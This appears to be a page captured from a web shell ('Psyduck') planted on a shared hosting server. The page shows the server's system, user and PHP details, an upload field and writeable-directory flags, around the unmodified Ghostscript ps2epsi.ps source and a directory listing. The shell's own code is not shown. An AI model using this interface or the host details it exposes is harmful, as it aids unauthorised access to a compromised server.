Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /usr/share/ghostscript/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/ghostscript/lib/ps2epsi.ps
% Copyright (C) 2001-2019 Artifex Software, Inc.
% All Rights Reserved.
%
% This software is provided AS-IS with no warranty, either express or
% implied.
%
% This software is distributed under license and may not be copied,
% modified or distributed except as expressly authorized under the terms
% of the license contained in the file LICENSE in this distribution.
%
% Refer to licensing information at http://www.artifex.com or contact
% Artifex Software, Inc.,  1305 Grant Avenue - Suite 200, Novato,
% CA 94945, U.S.A., +1(415)492-9861, for further information.
%

% Convert an arbitrary PostScript file to an EPSI file.
%
% Please do not contact these users if you have questions.  They no longer
% have the time, interest, or current expertise to keep this code working.
% If you find bugs, please send proposed fixes to bug-gs@ghostscript.com.
%
% Bug fix 2002-04-20 by rayjj: Bounding box was incorrect since it depended
%   on the dither pattern and gray shade at the boundary. Changed to use
%   8-bit grayscale preview image to allow correct bounding box (at the
%   expense of a 8x larger preview image). Also moved .setsafe until after
%   the device and file operations are complete (but still before the input
%   file is processed.
% Bug fix 2000-04-11 by lpd: if a font didn't have a FontName (which is the
%   case for bitmap fonts produced by recent versions of dvips), setfont
%   caused an error.
% Bug fix 8/21/99 by lpd: many of the margin and width computations were
%   wrong (off by 1).  The code only "worked" because the bugs were
%   (mostly) in conservative directions.
% Modified 3/17/98 by lpd to make it possible to run this file without
%   running the ps2epsi script first, for debugging.
% Bug fix 9/29/97 by lpd <ghost@aladdin.com>: if the page size wasn't an
%   exact multiple of 8 bits, an incorrect bounding box (or a rangecheck
%   error) could occur.
% Patched 7/26/95 by
%	Greg P. Kochanski <gpk@bell-labs.com>
%   to add many new DSC comments and make the comments conforming.
% Original version contributed by
%	George Cameron <george@bio-medical-physics.aberdeen.ac.uk>
%

% Initialize, and redefine copypage and showpage.

% ps2edict is normally defined in the pre-loaded code created by the
% ps2epsi script.
/ps2edict where { pop } { /ps2edict 25 dict def } ifelse
ps2edict begin

                                % The main procedure
  /ps2epsi
   {
        % bbox written to outfile by bbox device from ps2epsi command file
        outfile (r) file /epsifile exch def
        /BBoxString epsifile 256 string readline pop def
        /HiresBBoxString epsifile 256 string readline pop def
        epsifile closefile
                        % Open the file
     outfile (w) file /epsifile exch def
                                        % Get the device parameters
     currentdevice getdeviceprops .dicttomark
     /HWSize get aload pop
       /devheight exch def
       /devwidth exch def
     matrix defaultmatrix
       /devmatrix exch def
                                % Make a corresponding 8-bit deep memory device
     devmatrix devwidth devheight
     256 string 0 1 255 { 1 index exch dup 255 exch sub put } for
     makeimagedevice
     /arraydevice exch def
     arraydevice
     % Turn on anti-aliasing
     mark /TextAlphaBits 4 /GraphicsAlphaBits 4 6 -1 roll
     putdeviceprops
     setdevice	% (does an erasepage)
     /rowwidth devwidth def
     /row rowwidth string def
     /zerorow rowwidth string def	% all zero
                                % Replace the definition of showpage
     userdict /showpage { ps2edict begin epsipage end } bind put
     userdict /setfont { ps2edict begin epsisetfont end } bind put
     userdict /setpagedevice /pop load put
   } bind def

 /epsifontdict 100 dict def

 /epsisetfont
 {
 % code here keeps a list of font names in dictionary epsifontdict
 /tmpfont exch def
 tmpfont /FontName known {
   /tmpfontname tmpfont /FontName get def
   epsifontdict tmpfontname known not { epsifontdict tmpfontname 0 put } if
   epsifontdict tmpfontname 2 copy get 1 add put
 } if
 tmpfont setfont
 } bind def

% Get a scan line from the memory device, zeroing any bits beyond
% the device width.
/getscanline {		% <device> <y> <string> getscanline <string>
  dup 4 1 roll copyscanlines pop
  16#ff00 devwidth 7 and neg bitshift 255 and
  dup 0 ne {
    1 index dup length 1 sub 2 copy get 4 -1 roll and put
  } {
    pop
  } ifelse
} bind def

/margintest {		% <y-start> <step> <y-limit> margintest <y-non-blank>
                        % <y-start> <step> <y-limit> margintest -
  { dup arraydevice exch row getscanline
    zerorow ne { exit } if pop
  } for
} bind def

  /epsiNameStr 200 string def
  /epsiNpages 0 def
  /epsiNpageStr 20 string def
  /epsipage
   {
     /epsiNpages epsiNpages 1 add def
     /loopcount devheight 1 sub def

     % Find top margin -- minimum Y of non-blank scan line.
     -1 0 1 loopcount margintest
     dup -1 eq { (blank page!!\n) print quit }{ exch pop } ifelse
     /tm exch def

     % Find bottom margin -- maximum Y of non-blank scan line.
     loopcount -1 0 margintest
     /bm exch def

     % Initialise limit variables
     /loopcount rowwidth 1 sub def
     /lm loopcount def
     /rm 0 def

     % Find left and right boundaries of image
     tm 1 bm
      { % Get more data
        arraydevice exch row getscanline pop
        % Scan from left to find first non-zero element
        % We save first the element, then the index
        -1 0 1 loopcount
        { dup row exch get 0 ne { exch pop exit }{ pop } ifelse
        } for
        % If we found -1, row is blank ..
        dup -1 ne
        { % Find the leftmost index
          dup lm lt
          % If the new index is less, we save index and element
          { /lm exch def } { pop } ifelse
          % Now find the rightmost index
          loopcount -1 0
          { dup row exch get 0 ne { exit }{ pop } ifelse
          } for
          dup rm gt
          % If the new index is greater, we save index and element
          { /rm exch def } { pop } ifelse
        } {
          pop
        } ifelse
      } for

    % Write out the magic string and bounding box information
     epsifile (%!PS-Adobe-2.0 EPSF-1.2\n) writestring
         /epsititle where { pop epsifile epsititle writestring } if
         /epsicreator where { pop epsifile epsicreator writestring } if
         /epsicrdt where { pop epsifile epsicrdt writestring } if
         /epsifor where { pop epsifile epsifor writestring } if
     epsifile flushfile

        % Write out the page count:
         epsifile (%%Pages: ) writestring
         epsifile epsiNpages epsiNpageStr cvs writestring
         epsifile (\n) writestring
     epsifile flushfile

        % Write out the list of used fonts:
         epsifile (%%DocumentFonts:) writestring
         epsifontdict {
                                        epsifile ( ) writestring
                                        pop epsiNameStr cvs epsifile exch writestring
                                        } forall
         epsifile (\n) writestring
     epsifile flushfile

        epsifile BBoxString writestring epsifile (\n) writestring
        epsifile HiresBBoxString writestring epsifile (\n) writestring

    % Define character and bit widths for the output line buffer:
     /cwidth rm lm sub 1 add def
     /out cwidth string def

     epsifile (%%EndComments\n\n) writestring
     epsifile (%%BeginProlog\n) writestring
     epsifile (%%BeginPreview: ) writestring
     epsifile cwidth write==only epsifile ( ) writestring
     epsifile bm tm sub 1 add write==only epsifile ( 8 ) writestring
     epsifile bm tm sub 1 add
     cwidth 39 add 40 idiv mul write==
     epsifile flushfile

     gsave

     tm 1 bm
      { % Get a scan line interval from the array device
        arraydevice exch row copyscanlines lm cwidth getinterval
        % Write out the hex data as 40 bytes per line (82 chars)
        0 40 cwidth
         { epsifile (% ) writestring
           epsifile exch 2 index exch
           dup cwidth exch sub 40 .min getinterval writehexstring
           epsifile (\n) writestring
         } for
        pop
      } for

     epsifile (%%EndImage\n) writestring
     epsifile (%%EndPreview\n) writestring
     epsifile flushfile
     grestore
     erasepage initgraphics

     DonePage 0 1 put
   } bind def

(outfile) getenv
  { /outfile exch def
    ps2epsi

    /DonePage 1 string def
    (%stdin) (r) file cvx execute0
    DonePage 0 get 0 eq { showpage } if
  } if

end
quit
Name
Size
Permissions
Options
PDFA_def.ps
1.246 KB
-rw-r--r--
PDFX_def.ps
1.77 KB
-rw-r--r--
PM760p.upp
1.133 KB
-rw-r--r--
PM760pl.upp
1.098 KB
-rw-r--r--
PM820p.upp
1.115 KB
-rw-r--r--
PM820pl.upp
1.091 KB
-rw-r--r--
Stc670p.upp
1.132 KB
-rw-r--r--
Stc670pl.upp
1.098 KB
-rw-r--r--
Stc680p.upp
1.113 KB
-rw-r--r--
Stc680pl.upp
1.089 KB
-rw-r--r--
Stc740p.upp
1.015 KB
-rw-r--r--
Stc740pl.upp
1.089 KB
-rw-r--r--
Stc760p.upp
1.114 KB
-rw-r--r--
Stc760pl.upp
1.089 KB
-rw-r--r--
Stc777p.upp
1.113 KB
-rw-r--r--
Stc777pl.upp
1.089 KB
-rw-r--r--
Stp720p.upp
1.131 KB
-rw-r--r--
Stp720pl.upp
1.089 KB
-rw-r--r--
Stp870p.upp
1.113 KB
-rw-r--r--
Stp870pl.upp
1.089 KB
-rw-r--r--
acctest.ps
4.169 KB
-rw-r--r--
align.ps
2.105 KB
-rw-r--r--
bj8.rpd
0.624 KB
-rw-r--r--
bj8gc12f.upp
1.496 KB
-rw-r--r--
bj8hg12f.upp
1.495 KB
-rw-r--r--
bj8oh06n.upp
1.481 KB
-rw-r--r--
bj8pa06n.upp
1.489 KB
-rw-r--r--
bj8pp12f.upp
1.506 KB
-rw-r--r--
bj8ts06n.upp
1.494 KB
-rw-r--r--
bjc6000a1.upp
1.621 KB
-rw-r--r--
bjc6000b1.upp
1.621 KB
-rw-r--r--
bjc610a0.upp
1.491 KB
-rw-r--r--
bjc610a1.upp
1.48 KB
-rw-r--r--
bjc610a2.upp
1.481 KB
-rw-r--r--
bjc610a3.upp
1.486 KB
-rw-r--r--
bjc610a4.upp
1.494 KB
-rw-r--r--
bjc610a5.upp
1.481 KB
-rw-r--r--
bjc610a6.upp
1.481 KB
-rw-r--r--
bjc610a7.upp
1.484 KB
-rw-r--r--
bjc610a8.upp
1.49 KB
-rw-r--r--
bjc610b1.upp
1.48 KB
-rw-r--r--
bjc610b2.upp
1.481 KB
-rw-r--r--
bjc610b3.upp
1.486 KB
-rw-r--r--
bjc610b4.upp
1.494 KB
-rw-r--r--
bjc610b6.upp
1.481 KB
-rw-r--r--
bjc610b7.upp
1.485 KB
-rw-r--r--
bjc610b8.upp
1.49 KB
-rw-r--r--
caption.ps
1.718 KB
-rw-r--r--
cbjc600.ppd
10.887 KB
-rw-r--r--
cbjc800.ppd
11.222 KB
-rw-r--r--
cdj550.upp
1.65 KB
-rw-r--r--
cdj690.upp
1.952 KB
-rw-r--r--
cdj690ec.upp
2.012 KB
-rw-r--r--
cid2code.ps
4.386 KB
-rw-r--r--
dmp_init.ps
7.076 KB
-rw-r--r--
dmp_site.ps
0.448 KB
-rw-r--r--
dnj750c.upp
2.742 KB
-rw-r--r--
dnj750m.upp
1.929 KB
-rw-r--r--
docie.ps
7.322 KB
-rw-r--r--
escp_24.src
0.342 KB
-rw-r--r--
font2pcl.ps
18.007 KB
-rw-r--r--
ghostpdf.ppd
25.042 KB
-rw-r--r--
gs_ce_e.ps
2.167 KB
-rw-r--r--
gs_il2_e.ps
2.569 KB
-rw-r--r--
gs_kanji.ps
3.913 KB
-rw-r--r--
gs_ksb_e.ps
3.071 KB
-rw-r--r--
gs_l.xbm
1.899 KB
-rw-r--r--
gs_l.xpm
2.687 KB
-rw-r--r--
gs_l_m.xbm
1.909 KB
-rw-r--r--
gs_lgo_e.ps
2.67 KB
-rw-r--r--
gs_lgx_e.ps
1.725 KB
-rw-r--r--
gs_m.xbm
0.923 KB
-rw-r--r--
gs_m.xpm
1.403 KB
-rw-r--r--
gs_m_m.xbm
0.933 KB
-rw-r--r--
gs_s.xbm
0.58 KB
-rw-r--r--
gs_s.xpm
0.935 KB
-rw-r--r--
gs_s_m.xbm
0.59 KB
-rw-r--r--
gs_t.xbm
0.337 KB
-rw-r--r--
gs_t.xpm
0.591 KB
-rw-r--r--
gs_t_m.xbm
0.347 KB
-rw-r--r--
gs_wl1_e.ps
2.437 KB
-rw-r--r--
gs_wl2_e.ps
2.436 KB
-rw-r--r--
gs_wl5_e.ps
2.453 KB
-rw-r--r--
gslp.ps
20.242 KB
-rw-r--r--
gsnup.ps
2.572 KB
-rw-r--r--
ht_ccsto.ps
222.796 KB
-rw-r--r--
image-qa.ps
71.338 KB
-rw-r--r--
jispaper.ps
0.766 KB
-rw-r--r--
landscap.ps
1.434 KB
-rw-r--r--
lines.ps
3.648 KB
-rw-r--r--
mkcidfm.ps
21.798 KB
-rw-r--r--
necp2x.upp
1.021 KB
-rw-r--r--
necp2x6.upp
1.044 KB
-rw-r--r--
pdf2dsc.ps
7.874 KB
-rw-r--r--
pf2afm.ps
14.937 KB
-rw-r--r--
pfbtopfa.ps
0.973 KB
-rw-r--r--
ppath.ps
1.776 KB
-rw-r--r--
pphs.ps
6.684 KB
-rw-r--r--
prfont.ps
7.044 KB
-rw-r--r--
printafm.ps
4.783 KB
-rw-r--r--
ps2ai.ps
21.783 KB
-rw-r--r--
ps2epsi.ps
8.34 KB
-rw-r--r--
ras1.upp
0.21 KB
-rw-r--r--
ras24.upp
0.214 KB
-rw-r--r--
ras3.upp
0.209 KB
-rw-r--r--
ras32.upp
0.191 KB
-rw-r--r--
ras4.upp
0.215 KB
-rw-r--r--
ras8m.upp
0.204 KB
-rw-r--r--
rollconv.ps
12.232 KB
-rw-r--r--
s400a1.upp
1.42 KB
-rw-r--r--
s400b1.upp
1.565 KB
-rw-r--r--
sharp.upp
1.891 KB
-rw-r--r--
sipixa6.upp
0.517 KB
-rw-r--r--
st640ih.upp
2.228 KB
-rw-r--r--
st640ihg.upp
1.473 KB
-rw-r--r--
st640p.upp
1.869 KB
-rw-r--r--
st640pg.upp
1.114 KB
-rw-r--r--
st640pl.upp
1.834 KB
-rw-r--r--
st640plg.upp
1.079 KB
-rw-r--r--
stc.upp
1.878 KB
-rw-r--r--
stc1520h.upp
2.104 KB
-rw-r--r--
stc2.upp
1.859 KB
-rw-r--r--
stc200_h.upp
1.805 KB
-rw-r--r--
stc2_h.upp
1.835 KB
-rw-r--r--
stc2s_h.upp
2.219 KB
-rw-r--r--
stc300.upp
2.086 KB
-rw-r--r--
stc300bl.upp
1.31 KB
-rw-r--r--
stc300bm.upp
1.396 KB
-rw-r--r--
stc500p.upp
1.858 KB
-rw-r--r--
stc500ph.upp
1.858 KB
-rw-r--r--
stc600ih.upp
2.228 KB
-rw-r--r--
stc600p.upp
1.124 KB
-rw-r--r--
stc600pl.upp
1.089 KB
-rw-r--r--
stc640p.upp
1.069 KB
-rw-r--r--
stc740ih.upp
2.073 KB
-rw-r--r--
stc800ih.upp
2.107 KB
-rw-r--r--
stc800p.upp
1.089 KB
-rw-r--r--
stc800pl.upp
1.071 KB
-rw-r--r--
stc_h.upp
1.868 KB
-rw-r--r--
stc_l.upp
0.717 KB
-rw-r--r--
stcany.upp
0.657 KB
-rw-r--r--
stcany_h.upp
0.665 KB
-rw-r--r--
stcinfo.ps
24.919 KB
-rw-r--r--
stcolor.ps
4.946 KB
-rw-r--r--
stocht.ps
2.436 KB
-rw-r--r--
traceimg.ps
1.35 KB
-rw-r--r--
traceop.ps
2.512 KB
-rw-r--r--
uninfo.ps
5.846 KB
-rw-r--r--
viewcmyk.ps
1.938 KB
-rw-r--r--
viewgif.ps
5.269 KB
-rw-r--r--
viewjpeg.ps
5.558 KB
-rw-r--r--
viewmiff.ps
4.153 KB
-rw-r--r--
viewpbm.ps
10.041 KB
-rw-r--r--
viewpcx.ps
5.109 KB
-rw-r--r--
viewps2a.ps
1.109 KB
-rw-r--r--
winmaps.ps
3.521 KB
-rw-r--r--
zeroline.ps
2.263 KB
-rw-r--r--